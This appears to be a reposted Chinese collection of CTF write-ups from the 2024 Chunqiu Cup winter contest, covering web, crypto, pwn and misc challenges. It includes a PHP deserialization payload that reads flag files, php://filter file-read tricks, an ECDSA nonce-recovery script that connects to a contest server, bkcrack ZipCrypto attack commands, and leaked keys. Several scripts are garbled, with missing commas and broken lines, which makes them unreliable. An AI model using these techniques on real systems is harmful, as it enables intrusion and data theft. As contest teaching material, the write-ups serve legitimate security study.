cmd5直接解

flag{18876011645}

压力大写个脚本

先写脚本解压嵌套压缩包

import zipfile 
import os 
import base64 
current_dir = os.getcwd() 
for i in range(99, 0, -1): password_file = 
os.path.join(current_dir, f"password_{i}.txt") zip_file = 
os.path.join(current_dir, f"zip_{i}.zip"

# 读取并解码密码
 with open(password_file, "r") as f: 
 password = base64.b64decode(f.read().strip()).decode("utf-8"
# 解压文件
 with zipfile.ZipFile(zip_file) as zf: 
zf.extractall(path=current_dir, pwd=password.encode("utf-8")) 

解压完发现 0.zip 解压出来是 password+password.zip。同时发现 0 还是 1 的 password 是 89504e47

所以想到把所有的 txt 合并起来,然后解码一下,注意要删掉非十六进制的字符, 也就是后面的那一串 fg 什么的

import os 
def merge_password_files(output_file="merged_passwo3rds.txt"
num_files =100): with open(output_file, 'w') as outfile: 
for i in range(num_files): 
 file_name = f"password_{i}.txt" 
if os.path.exists(file_name): 
 with open(file_name, 'r') as infile: 
outfile.write(infile.read() + "n"else
 print(f"文件 {file_name} 不存在。"
 print(f"合并完成,结果保存在 {output_file} 文件中。"
# 调用函数,假设你有 100 个文件 password_0 到 password_99 
merge_password_files(num_files=100)

然后解码,删掉后面的一串FG,得到二维码

2024春秋杯冬季赛day2

easy_ser

Pop 链:wakeup-invoke-tostring

Passwaf2 分析得出 payload 长度小于 16 就不会被拆分,换句话说命令不能超过 16 个字符,用短代码的形式通过 shell_exec 的反引号经过 Base64 加密后进行命令执 行

data=O:3:"SDU":1:{s:7:"Dazhuan";O:3:"STU":1:{s:3:"stu";O:3:"CTF":2: 
{s:7:"hackman";s:20:"PD89YGNhdCAvZipgOw==";s:8:"filename";s:5:"a.php";}}}

// 定义学生类 STU 
class STU 

 // 用于存储相关对象的属性
 public $studentObject

// 定义另一个类 SDU 
class SDU 

 // 用于存储 STU 类对象的属性
 public $associateStudent

// 定义 CTF 类
class CTF 

 // 存储特定字符串的属性,初始值为'***' public 
$hackman = '***'
 // 存储文件名的属性
 public $fileName = 'a.php'

// 创建 SDU 类的实例
$sduInstance = new SDU(); 
// 创建 STU 类的实例
$stuInstance = new STU(); 
// 创建 CTF 类的实例
$ctfInstance = new CTF(); 
// 将 STU 类实例赋值给 SDU 类实例的 associateStudent 属性
$sduInstance->associateStudent = $stuInstance
// 将 CTF 类实例赋值给 STU 类实例的 studentObject 属性
$stuInstance->studentObject = $ctfInstance
// 修改 CTF 类实例的 hackman 属性值,这里是经过 base64 编码的=`cat /f*`; 
$ctfInstance->hackman = 'PD89YGNhdCAvZipgOw=='
// 输出序列化后的 SDU 类实例 echo serialize($sduInstance);

find me

下载附附件拖入我的世界的配置文件夹 saves 文件夹

进入世界后让你探索 flag(找雪屋,神寄吧一真一假,真雪屋坐标如下)

然后找到一个附魔书里面有个 key 值 cwqeafvfwqead,这就是flag.rar的密码

然后就是随波逐流一把梭环节

NetHttP

筛选过滤 http 包

读取了 app.py 的代码

from flask import Flask,request,render_template_string,Response,session
app = Flask(__name__)
app.config['SECRET_KEY'] = 'gdkfksy05lx0nv8dl'
@app.route("/")
def index():
return open(__file__).read()
@app.route("/rce",methods=["GET"])
def rce():
data = request.args.get("name","Guest")
return render_template_string(f"Welcome {data}")
if __name__ == "__main__":
app.run(host="0.0.0.0",port=8989,debug=False)

继续看后面的

读取了 private 的密钥

-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIC1DBOBgkqhkiG9w0BBQ0wQTApBgkqhkiG9w0BBQwwHAQIirzza4niI8QCAggA
MAwGCCqGSIb3DQIJBQAwFAYIKoZIhvcNAwcECEXSIcOIuwGaBIICgHLW3Qb39/+E
0uKiOi8yevcztF5toCOGsh6Fi23zSIwCjH8VPO1lbpFCkW9789ldbxBbSwtXwMmF
kTyFjOmymL/zktmt8PyExcWOGA481/IkpCPTmKAT8+67FJEdAf9BAZVPjqpu1Lla
Ohnp3JFZ8SStSUWwvjLZafi4Ucf7ajJexwCTkkvB7mF8kostYaBOsNJ1GORRdL3c
s73GxvX98MTLvF1DW5xujgdcl28msB3GHTxe7sSgScKfFUyfCViivW8FCqa6lfJo
Tj3JZtNlpPiOr1PXPfIWBt0wEQaF3+ovTEVu7x1r1Q3mq61GpO3s4n6kdeGg9Dkp
BYErmG76JdZtOWTZ88SrD7EDkh12EOdtM0ywR1DTYk4+fjKifkhPPrIGn8Nm07PE
yTAS7UG0Ut2Ut722rOBsgIZlnk2vF8qbIvKJj1JGzedMLabnafF5/L2N4wP8ZeL8
fO1Asxy0o/Hk89rl7ZI8Aocc1ZRMHKfxg/XV2bFHv2q1M1y3CI9wUrGnvk+8oX0H
T/5vFtfGb4QNiy+p6aTi+UEJOau5O0t4f2kAL6L/pgmLEMulKWVMK8u+p6os0cbt
KbVBmjNE/uA8SCv8E9XcL+/LWsSVInrYwJQzWbLIYx5FTRk4479taV3BGEN+hbmU
RqlIK8IwsVxWc4wC+oHoLMY4RllUZ9D2rBasMt6DOLA31Jjrabciv03zJPyqXcfi
DVTFu9JfT1fF7eOClQzTvIlTDVIDMPfAqR6B+/AbZDiQ2aK/54i10kohmXT2qWoT
pDYPWV2JGTXICaRyP8FYu26ZTdIKVB3PovfJEXR3yex14U5T8zFVpUQnoDJfNyPG
qUVmlGScmkU=
-----END ENCRYPTED PRIVATE KEY-----

是盲注,写个脚本把读取内容提出来

import base64
import re
# 用于存储符合条件行的列表
data_list = []
temp = ''
# 打开文件并逐行读取
with open('find.txt''r') as f:
for line in f:
# 如果行以'66'开头,将之前临时存储的内容添加到列表中
if line.startswith('66'):
 data_list.append(temp)
 temp = line
# 用于存储最终解码并提取的值
decoded_value = ''
for item in data_list:
# 搜索 echo 后的内容
 match_obj = re.search(r"echo (.*?) ", item)
if match_obj:
 value = match_obj.group(1)
 try:
# 对搜索到的内容进行 Base64 解码
 decoded = base64.b64decode(value)
# 从解码后的内容中搜索单引号内的内容
 match_obj2 = re.search(r" '(.*?)' ", decoded.decode())
if match_obj2:
 value2 = match_obj2.group(1)
 decoded_value += value2
 except Exception as e:
print(f"解码或匹配过程中出现错误: {e}")
print(decoded_value, end='')

得到

UzBJM2lXaHZzektiT00vT2FsS1RBMGZwbTVPNWNoVlZuWUd5S2Q1blY0ZXJBelJiVjZW
Nnc4Yi9VaU9mUUVjM0lqaDAwaEZqWUZVMUhheE51YjlHbmxQUy9sY2FtNW1BVGtm
MnNKUzZKZ3BKbzZBU2hWUnhXRFlLS3JvamVVZUJaajVNRVBJOC80REdHR3VIRnhteD
JieEFhaGREZTFjR25qVFpHV09OcE5JPQ==RmFrZSBGTGFnCm5vIGhlcmUK
UzBJM2lXaHZzektiT00vT2FsS1RBMGZwbTVPNWNoVlZuWUd5S2Q1blY0ZXJBelJiVjZW
Nnc4Yi9VaU9mUUVjM0lqaDAwaEZqWUZVMUhheE51YjlHbmxQUy9sY2FtNW1BVGtm
MnNKUzZKZ3BKbzZBU2hWUnhXRFlLS3JvamVVZUJaajVNRVBJOC80REdHR3VIRnhteD
JieEFhaGREZTFjR25qVFpHV09OcE5JPQ==

继续 base64 得到

S0I3iWhvszKbOM/OalKTA0fpm5O5chVVnYGyKd5nV4erAzRbV6V6w8b/UiOfQEc3Ijh0
0hFjYFU1HaxNub9GnlPS/lcam5mATkf2sJS6JgpJo6AShVRxWDYKKrojeUeBZj5MEPI8/4
DGGGuHFxmx2bxAahdDe1cGnjTZGWONpNI=

看上面的密钥,是通过 key 加密后的密钥,用下面脚本解,key 就是App.py 里的 key

from cryptography.hazmat.primitives import serialization
def decrypt_private_key(key_path, password):
# 读取并解密私钥
 with open(key_path, 'rb') as f:
 private_key = serialization.load_pem_private_key(
 f.read(),
 password=password.encode()
 )
# 导出未加密的私钥
 decrypted_pem = private_key.private_bytes(
 encoding=serialization.Encoding.PEM,
 format=serialization.PrivateFormat.PKCS8,
 encryption_algorithm=serialization.NoEncryption()
 )
# 保存解密后的私钥
 with open('decrypted_key.pem''wb') as f:
 f.write(decrypted_pem)
print("私钥解密完成")
# 使用示例
decrypt_private_key('key.txt''gdkfksy05lx0nv8dl')

得到新的密钥

-----BEGIN PRIVATE KEY-----
MIICdQIBADANBgkqhkiG9w0BAQEFAASCAl8wggJbAgEAAoGAaxYIU7D5lIndIBLu
bRRywJZiAQ90QiRjuHAIsyyka69Wl1n9K4W9/hjNDeI5BP14oADSmOqLKmj8nw2w
bk0mDZ0KbWfT3eCxttGoplMEoCqKizTMdHGe7MUaK9A2CKIHOsHQhkpAmwLcDzNr
bLg9nx0hjPUDefqwCn1q7B/IQPMCAwEAAQKBgEQaQ/ttrpwfvUhbodQvT/dY7ET+
XhJ+cAjo/y9r8bkmTmx853xZVwYVIbt1pouc46zmOQjVCOJU2GwS2aScXdkx8Fm1
YQJqzbxcZ4oEA/f66E99560um3RRsa7DWKwNdIcU4wukyfgx5fILoiuE8ThjG23V
b3oDOzaIhyCrcO65AkEApZJjxmMk0AB8ZUkhIqw+2gD4N5SPisae+aFfLgLt14H4
VwSZxl2kRs7yhZGl5spFlxdotym3YS/30aY3/+3GPQJBAKWSY8ZjJNAAfGVJISKs
PtoA+DeUj4rGnvmhXy4C7deB+FcEmcZdpEbO8oWRpebKRZcXaLcpt2Ev99GmN//t
xu8CQQCf2DInBvQ1MyLlDbLFrJCJGsKHtg7WJWa5DQe8fetsUPeV2sUycpj0Gzqb
pL8Ljl+cvGbF3apCU3LmnZgWplDpAkB+i1EYqmPTWdu5adgacP0kj4Mmr7O5xC5y
6kQdnX18rchJcam5843/1GGFdpkOuF/Rp8GP5CFU9V157Yl1YJ0fAkAvcGpACEWD
gZPSO8jGVr6XoVtA0tW2JMX/nPoxI1soLG38Kwaqc/+bepMmRQ50dlvZUA4uufmT
N3OWrL+BavU0
-----END PRIVATE KEY-----

然后再 rsa 解密得到 flag

Weevil’s Whisper

这题我直接放大图了

2024春秋杯冬季赛day3

backdoor

Exp如下

import numpy as np
import base64
import requests
from PIL import Image
import io
def generate_trigger_pattern(class_number, rgb_value, location, trigger_size):
# 创建全零的掩码和图案数组,尺寸为 32x32 像素,每个像素有 3 个颜色通道
(RGB)
 trigger_mask = np.zeros((32, 32, 3))
 trigger_pattern = np.zeros((32, 32, 3))
# 计算触发器区域的结束行和列索引
 row, col = location
 end_row, end_col = row + trigger_size, col + trigger_size
# 在掩码数组中设置触发器区域为 1
 trigger_mask[row:end_row, col:end_col] = 1
# 在图案数组的触发器区域设置指定的 RGB 值
 trigger_pattern[row:end_row, col:end_col] = rgb_value
return trigger_mask, trigger_pattern
def image_to_base64(image_array):
# 将图像数组的值乘以 255,并转换为无符号 8 位整数类型(0-255)
 img_data = (image_array * 255).astype(np.uint8)
# 使用 PIL 库将数组转换为图像对象
 img_obj = Image.fromarray(img_data)
 buffer = io.BytesIO()
# 将图像对象保存到内存缓冲区,格式为 PNG
 img_obj.save(buffer, format='PNG')
# 将缓冲区中的数据进行 Base64 编码,并转换为字符串
return base64.b64encode(buffer.getvalue()).decode()
def scan_backdoor():
 api_endpoint = "http://eci2ze1ug62jhbziy6morae.cloudeci1.ichunqiu.com:5000/upload"
# 定义要测试的 RGB 值列表,每个值代表一种颜色
 rgb_values = [[1, 0, 0], [0, 1, 0], [0, 0, 1], [1, 1, 0], [1, 0, 1], [0, 1, 1]]
# 定义要测试的触发器位置列表,每个位置表示触发器在图像中的起始坐标
 trigger_locs = [(0, 0), (0, 28), (28, 0), (28, 28)]
# 定义要测试的触发器大小列表
 trigger_sizes = [4, 8, 16]
for label in range(5, 16):
for rgb in rgb_values:
for loc in trigger_locs:
for size in trigger_sizes:
print(f"[*] 正在扫描: 类别={label}, RGB={rgb}, 位置={loc}, 大
小={size}"
)
 mask, pattern = generate_trigger_pattern(label, rgb, loc, size)
 payload = {
"mask": image_to_base64(mask),
"pattern": image_to_base64(pattern)
 }
 try:
 resp = requests.post(api_endpoint, json=payload)
if resp.status_code == 200:
print(f"[+] 发现后门! 类别: {label}")
print(f"[+] 服务器响应: {resp.text}")
return
else:
print(f"[-] 类别 {label} 测试失败,状态码: 
{resp.status_code}"
)
 except Exception as e:
print(f"[-] 网络错误: {str(e)}")
if __name__ == "__main__":
 scan_backdoor()

easyasm

Exp如下

def b_sort(wl):
 # 复制输入的单词列表
 arr = wl[:]
 n = len(arr)
 swapped = True
# 使用冒泡排序算法进行排序
while swapped:
 swapped = False
for i in range(n - 1):
# 如果当前元素大于下一个元素,进行交换
if arr[i] > arr[i+1]:
 arr[i], arr[i+1] = arr[i+1], arr[i]
 swapped = True
return arr
def main():
# 输入的十六进制单词列表
 rwh = [
 0x2030, 0x3040, 0x4050, 0x1022, 0x2011,
 0x1666, 0x1522, 0x8899, 0x4155, 0x4044,
 0x4288, 0x3321, 0x6033, 0xFFFF, 0x2221,
 0x3366, 0x222C, 0x2CCC, 0x22CC, 0xCC22,
 0xC2C2
 ]

# 对输入的十六进制单词进行排序
 sw = b_sort(rwh)
 sk = [] # 存储处理后的排序键
# 遍历排序后的十六进制单词,提取低字节和高字节
for w in sw:
 low = w & 0xFF # 低字节
 high = (w >> 8) & 0xFF # 高字节
 sk.append(low) # 添加低字节到排序键
 sk.append(high) # 添加高字节到排序键
# 目标字节数组
 tgt = [
 0x44, 0x7C, 0x43, 0x72, 0x1D, 0x72, 0x74, 0x41,
 0x05, 0x14, 0x19, 0x1A, 0x19, 0x0F, 0xF5, 0x10,
 0xAE, 0x18, 0x6D, 0x01, 0x10, 0x56, 0x00, 0x1E,
 0x26, 0x71, 0x65, 0x73, 0x78, 0x72, 0xEB, 0x72,
 0x52, 0x06, 0xAA, 0xBB, 0xA3, 0xA4, 0x1B, 0xFC,
 0xC7, 0x82
 ]
# 存储解密后的字节
 fb = []
# 对目标字节和排序键进行异或操作
for i in range(len(tgt)):
 fb.append(tgt[i] ^ sk[i]) # 异或操作以获得每个字节
# 将字节转换为字符串
 f_str = "".join(chr(b) for b in fb)
print(f_str) # 输出结果
if __name__ == "__main__":
 main()

easy_code

访问/robots.txt 可以看到有 gogogo.php

ctfer 参数有三个检测,只需要用科学计数法,PHP 会自动四舍五入

ctfer=6.66999999999999999999999999999999999999999e2

Hackbar 里设置 cookie 为 pass=admin

Include 那里使用 php://filter 配合 convert.iconv 修改字符集使用

ile=php://filter/convert.iconv.utf-8.utf-16le/resource=read.php

easy_php

下载源码,审计一下,发现 file.php 有个 flie 参数

直接传入 file.php?file=/flag 就可以了

funny_rsa

这种题,直接酷酷 chatgpt

Exp如下

import gmpy2
from Crypto.Util.number import *
funny1 = -
176962576976735335176952153444827848039532623083154166886834260364076
706270607684420286281379697192897343880983576595212559660311313904255
499745473761653921473942719742800202341010318378378426207751649676196
883512226318035852137622057938018284610585235034570227049488037953605
917194815378595246891878479584235876387440862653954381637207087856363
197419089018661368581619965605252524616196416972558192556612692664716
895416733483777175039573288274593966773445541725422445409315451668461
176265855809643180101815865163658914130410953993445330130570118547347
01706641516027767197631044458866554524544179750101814734153116374
funny2 = 
236867288804947582330267984878596227552031051201301801082227330382757
880820477558287714298490791420707797318751368379788628805002051290221
656005116118075901953416291794430575536942849139749850065906171438730
195307109524202424124374679175195395916838987159902977504949009232450
556325447634104015405186545220171152695081834820448720910522356081707
101056317421769003060977347997932642021791812420158927633117536747992
733006048048200154471619509960387955188445648610043983967962841138037
59208011
funny3 = 
419166458284161364374927086939132546372091965414091344286510440034452
974193054721041229068769658972346759176374539266235862042787888391905
466876330331208651698002159575012622762558316612596034044109738533275
009086940744966244759977014078484433213617582101347769476703012517531
619023366639507114909172774156647998737369356116119513795863130218094
614475699956104117183821832339358478426978211282822163928764161915824
622224165694904342224081321345691796882691318330781141960650263488927
837990954860719950761728580780956673732592771855694502630374907978111
094148614378212006604233062606116168868545120407836000858982789824582
335703891535021579560434875457656655941164757860852341484554015214879
991896412137447010444797452119431147303295803678311972500421396900616
845556636124424993090559354406417222700637726789045926994792374756038
517484548544506630672251868349748176389591615802039026216656891403871
728516658502023897343287181822303758976641229952646993446276281728919
020747050486979968215989594984778920359425264076558022228448529089047
021814759587052098774273578311709416672952218680244714492318709603579
024
funny4 = 
135418983810471208265737438741059651913041007995178204648132502010303
197711554307556066448601034698230305818584109576000276655045333355979
885080842842525109618479995258115586513409063331012487609701544408850
127171081319626589213965490209438329837126117490954681806480115218081
064805906655941604793249313519968121855811936082446527929367155042843
121727346623646761670106743592432199591294351279502323211307250131600
269777523894096206741670376503671967485923356981648750971399313763896
308671927617839367572603596063790885779771543782172353262495400982686
16890307702288393952949444753648206049856544634755301197410481479
n = (funny3+1025)//gmpy2.gcd(funny3+1025,funny2)
p_add_q = funny1+n
p = 
146244963903123897384722629319865983862385290427491632619680838698915
634884136798118860944346342346684665267628932533730684360351083477628
483048417394493368921029652616722076101582581881994784549216229374327
065827698990452634615021972143959360660773895031574424678151072027651
307994605157369826310532546455301
q = n//p
phi = (p-1)*(q-1)
d = gmpy2.invert(65537,phi)
hint = pow(funny4,d,n)
print(long_to_bytes(funny2//hint))
print(long_to_bytes(50448336829318143678810360907277028412349579430940518
054208753750310477630077509789620558011919683838601566875976663602683
70292861))
true:flag{aB3-CdE7_FgH9-iJkLmNoPqRsT-UvWxYz1234567890}

Binwalk 发现图片里有压缩包

写个脚本解压压缩包,并记录所有压缩包的名字

列出所有的文件名

['zMjiQdMYLHK''6c69b2nqwz2''iYMtivbWMUH''xi9d6pw4mLY''YHtMsKZ9wuX'
'Kbwk4at4AHj''dRPuEdHCG4d''3gR1bg5U8YN''JNoFPxJCSQV''q5yn3gHbKg6'
'Avpr7Kpj8sD''am3p4WHR3fi''fpgyMHpeAgV''acz8HEJyvgf''dCVcJepagGR'
'B7EsL11wcuv''yXwZGh3ot37''xqstfWn6LHt''XEbjV2pKJeH''trjrMMjCFDZ'
'RPg6RNirwd1''1zXsXaQaq9e''uJcvgotRUjp''YRYWbKB6A25''qtQiwA4Gf8Q'
'jfHDyccqkRV''jtoMp8SvPf9''cR3iiRvwKyE''ypi7FVfi2Fw''xdUw3wh8tor'
'JsdXXeVLKMd''zgiE7geiPvF''tfA9qEAsqV7''vqk7JncqDHo''EDPrsUByKTp'
'vypAjmuQxya''NF9GU22MxYL''DZDrbqGyaLQ''rhaqP5Kn26C''C44egaMVpYJ'
'SN4irp67f4K''Lv9LpD3WSHq''KgJAtGV7KtU''Q3MjJ8duxA8''CwuadryMdku'
'asrZXj3c9YD''Q1Nf7LbXKvz''AXye64M1JNN''Uks3yrzaPJo''UjXqkveanCg'
'LHqaXutHiQM''side1jYU2mN''uBpjTuZb4mT''zKcoamcw6qD''7PeWL7qGBeB'
'zzEKG4G51Q4''3EF4125LwYQ''eAS721ji7e9''M8Lmf8CU315''v3unatngTkG'
'LFUGkFuhAmv''nvaaCKPS7M3''J8XSjdh9ofR''FpX8xHdTUBo''QutbHXE8uYL'
'Faibrg5ohzA''brhPjhSdH2A''ei1X3ztdQPx''H1rm2PHhm2q''QazwAuJDk9L'
'Lg3csdtRiTX''b1qmeYoUmud''RWkTTgxUf6g''d53ckZZj9Bi''gJrG5jQfNQ9'
'RfRAhDFBreF''U1nLXdyXLnm''iVtD6s7Gtb4''qXVaLtuRCtF''yNW5yu2zyqa'
'SdpXLjfPQxB''3vzvqCzeDjF''yaUMKQS4Nsf''BNmiYfRK95E''rWieUL24eL2'
'8UzqnH65fhe''vYKzvN461Hq''43Pw8vDDMcJ''wy4tjLhtFCk''Lvj8YUoZaWD'
'DTKgRvTPzrK''8bzxbsbUMg1''mxYTZdt3KH2''s5nzUHP1xBE''9E8fknBQ5d5'
'ezC5sRwk412''eEEhKv2qohJ''Z3gW8JGczKZ''Vqh6ks9aXhx''DgNyJMANRqm'
'LYZakCKVjv5''fqdJRsy2NXJ''cXSmsbmaxoE''CWzoAaQrY8B''AVZHSVbmFb5'
'JACanfgDv3E''xPNmMNCdoe4''rN4Wg8hX2Bx''rNFhP27NxFS''HUx57o7LHre'
'1NDheyJvG8j''iE7i5xmse7E''Y5oq1fyCcNk''B9bFiXj8rb1''CMtbBWUdTP3'
'QifiuAtYdNH''1bYWx4YRfH3''JPFGHfGRaYX''5jHQz5upm9f''1qtnyM32bYL'
'CXotjV6FSFa''jeaEG3RG6ts''VNBZD8scRnE''HTaP8qM67cH''9SzHC6sNeuM'
'qn1nAWUWY4X''2BW7EUjDg1x''PsJvpzLrucb''CqdBnN9XKvC''9oW3fdLYY96'
'nFQwYN4vUki']

倒着拼接,nFQwYN4vUki 9oW3fdLYY96 …. zMjiQdMYLHK 最后赛博厨子

然后是一个码,可以用 google 搜图扫瞄

riya

这题应该是非预期,直接 nc 链接后

N 回车

然后直接 chat /flag

SignTime

连接到服务器后,我们发现有三个选项:

sign_time: 获取一个时间签名

verify: 验证签名

I kown the secret: 输入私钥获取 flag

分析服务器代码,发现以下:

def sign_current_time():
 current_time = datetime.now()
 current_month = int(current_time.strftime("%m")) 
 current_seconds = int(current_time.strftime("%S")) 
 formatted_time = f"{current_month}:{current_seconds}"
 message = f"The time is {formatted_time}"
 message_hash = sha1(message.encode()).digest() 
 signature = private_key.sign(bytes_to_long(message_hash), randrange(100, 100 + 
current_seconds)) 
 return {"time": message, "r": hex(signature.r), "s": hex(signature.s)}

服务器使用椭圆曲线数字签名算法进行签名,签名时使用的随机数 k 是基于当前时间的秒数 生成的

如果 k 可以被预测或范围有限,私钥可能被恢复

公式计算私钥:

private_key = ((s * k - message_hash) * pow(r, -1, order)) % order

获取服务器的时间签名,从签名中提取当前时间的秒数,尝试所有可能的 k 值(从 100 到 100+seconds),对每个 k 值计算私钥并验证,使用正确的私钥就可以获取 flag

from pwn import *
import re
from hashlib import sha1
from Crypto.Util.number import bytes_to_long
from ecdsa.ecdsa import generator_192, Public_key, Private_key, Signature
import time
def parse_signature(response):
print("[*] Server response:", response) # 添加调试信息
# 解析服务器返回的签名信息
 time_pattern = r"'time': '([^']*)"
 r_pattern = r"'r': '([^']*)"
 s_pattern = r"'s': '([^']*)"

 time = re.search(time_pattern, response).group(1)
 r = int(re.search(r_pattern, response).group(1), 16)
 s = int(re.search(s_pattern, response).group(1), 16)

print(f"[+] Parsed values:n Time: {time}n r: {hex(r)}n s: {hex(s)}"# 添加调试信

return time, r, s
def solve_private_key(message, r, s, k):
# 根据已知的 k 值(随机数)求解私钥
 generator = generator_192
 order = generator.order()

 message_hash = bytes_to_long(sha1(message.encode()).digest())
 private_key = ((s * k - message_hash) * pow(r, -1, order)) % order

print(f"[+] Calculated values:n k: {k}n private_key: {hex(private_key)}"# 添加调
试信息
return private_key
def verify_private_key(message, r, s, private_key):
"""验证计算出的私钥是否正确"""
 generator = generator_192
 public_key = Public_key(generator, generator * private_key)
 message_hash = bytes_to_long(sha1(message.encode()).digest())
 signature = Signature(r, s)
return public_key.verifies(message_hash, signature)
def try_connect(host, port, max_retries=3):
"""尝试连接服务器,带有重试机制"""
for i in range(max_retries):
 try:
print(f"[*] Attempting connection {i+1}/{max_retries}...")
 conn = remote(host, port, timeout=5)
print("[+] Connection successful!")
return conn
 except Exception as e:
print(f"[!] Connection attempt {i+1} failed: {str(e)}")
if i < max_retries - 1:
print("[*] Retrying in 2 seconds...")
 time.sleep(2)
else:
 raise Exception("All connection attempts failed")
return None
def find_valid_private_key(message, r, s, seconds):
"""尝试所有可能的 k 值来找到正确的私钥"""
for k in range(100, 101 + seconds):
 private_key = solve_private_key(message, r, s, k)
if verify_private_key(message, r, s, private_key):
print(f"[+] Found valid private key with k={k}:")
print(f" private_key: {hex(private_key)}")
return private_key
return None
def main():
 host = '47.93.12.9'# 更新服务器地址
 port = 28733 # 更新端口号
 conn = None

 try:
# 尝试连接服务器
 conn = try_connect(host, port)

# 接收 banner 信息
 banner = conn.recvuntil(b"Enter your option: ", timeout=5).decode()
print(banner)

# 获取第一个签名
print("[*] Requesting signature...")
 conn.sendline(b"sign_time")
 time.sleep(0.5)
 response = conn.recvline(timeout=5).decode()

# 解析签名
 time_msg, r, s = parse_signature(response)
 seconds = int(time_msg.split(":")[-1])

# 尝试所有可能的 k 值找到正确的私钥
print("[*] Trying all possible k values...")
 private_key = find_valid_private_key(time_msg, r, s, seconds)

if not private_key:
print("[!] Failed to find valid private key")
return

# 提交私钥获取 flag
print("[*] Submitting private key...")
 conn.recvuntil(b"Enter your option: ", timeout=5)
 conn.sendline(b"I kown the secret")
 time.sleep(0.5)

 conn.recvuntil(b"Enter the secret: ", timeout=5)
 secret = hex(private_key)
print(f"[*] Sending secret: {secret}")
 conn.sendline(secret.encode())
 time.sleep(0.5)

# 获取 flag
print("[*] Waiting for flag...")
 try:
 result = conn.recvline(timeout=2).decode()
if result and len(result.strip()) > 0:
print("[+] Server response:", result.strip())
 except EOFError:
print("[!] Server closed connection")

 except Exception as e:
print(f"[!] Error occurred: {str(e)}")
 finally:
if conn:
 conn.close()
if __name__ == "__main__":
 main()

运行脚本连接到服务器

尝试不同的 k 值,找到正确的私钥:

[+] Found valid private key with k=103:
private_key: 0xa90e64c2b42711d2d173042d974985dcc8bd515562e773d0

toys

程序就是个溢出

有个 strlen 检查,根据截断特性,00 截断 strlen 但不会使 fgets 截断,从而绕过检查。存在gadget 函数,能将&stdout 地址给 rax

配合程序段泄露 stdout 地址,最终 getshell

音频的秘密

据主办方提示 DeepSound 隐写弱口令 123 读取后是一个加密的压缩包

根据加密算法搜索一下相关的 ctf 资料

通过搜索发现 zipcrypto 解密工具 bkcrack

在博客上面还有使用该工具的相关的题目

echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps >png_header
time ./bkcrack/bkcrack -C flag.zip -c flag.png -p png_header -o 0 > 1.log&
tail -f 1.log
./bkcrack/bkcrack -C flag.zip -c flag.png -k 29d29517 0fa535a9 abc67696 -d 1.png

pixel_master

黑 1 白 0 读取二进制,转换十六进制就是下一张 PNG 图片的十六进制,这步就不用多说了

有第一张图为例,还是比较好联想的

第一行按顺序出现黑、红、绿、蓝四种颜色,其余部分为白色

全图共出现五种颜色(黑、红、绿、蓝、白)

白色仅出现在第一行和最后一行

假设第一行是告诉我们颜色到数字的映射关系:黑对应 0、红对应 1、绿对应 2、蓝对应 3 、忽略白色,读取整张图片按四进制转换。写个脚本验证猜想。

from PIL import Image
import numpy as np
# GPT一键注释(
# 打开图片并将其转换为RGB模式
image = Image.open("download.png").convert("RGB")
pixels = np.array(image) # 将图片转换为NumPy数组以便处理
# 定义颜色到数字的映射(忽略白色)
color_map = {
(0, 0, 0): 0, # 黑色 -> 0
(255, 0, 0): 1, # 红色 -> 1
(0, 255, 0): 2, # 绿色 -> 2
(0, 0, 255): 3, # 蓝色 -> 3
}
# 将图片转换为数字矩阵
result = []
for i in range(pixels.shape[0]): # 遍历每一行
row = []
for j in range(pixels.shape[1]): # 遍历每一列
r, g, b = pixels[i, j] # 获取当前像素的RGB值
if (r, g, b) in color_map: # 如果颜色在映射表中
row.append(str(color_map[(r, g, b)])) # 将对应的数字添加到当前行
result.append("".join(row)) # 将当前行的数字拼接成一个字符串并添加到结果中
# 将整个图片的数字拼接成一个数字,并忽略前4个字符(第一行示例的0123)
big_number = "".join(result)[4:]
# 将大数字从4进制转换为16进制
hex_number = hex(int(big_number, 4))
# 将16进制数据写入文件
with open("output.png""wb") as f:
f.write(bytes.fromhex(hex_number[2:])) # 去掉16进制前缀"0x"并写入文件

然后我们就得到了这个缺了一个角的汉信码

剩下就是 PS 了



往期推荐



【相关分享】记一次SQL注入漏洞

【相关分享】记一次小程序支付逻辑漏洞

【相关分享】记一次小程序抓包支付漏洞

【相关分享】记一次小程序逻辑漏洞

【相关分享】记一次权限认证绕过


来源 | 源于各位参加春秋杯的选手

制作 | x8i

审发 | 隼目安全

© 版权声明
THE END
喜欢就支持一下吧
点赞15赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片快捷回复
    • xuan8ai的头像-隼目安全钻石会员xuan8ai徽章-年度发烧元老-隼目安全等级-LV10-隼目安全作者0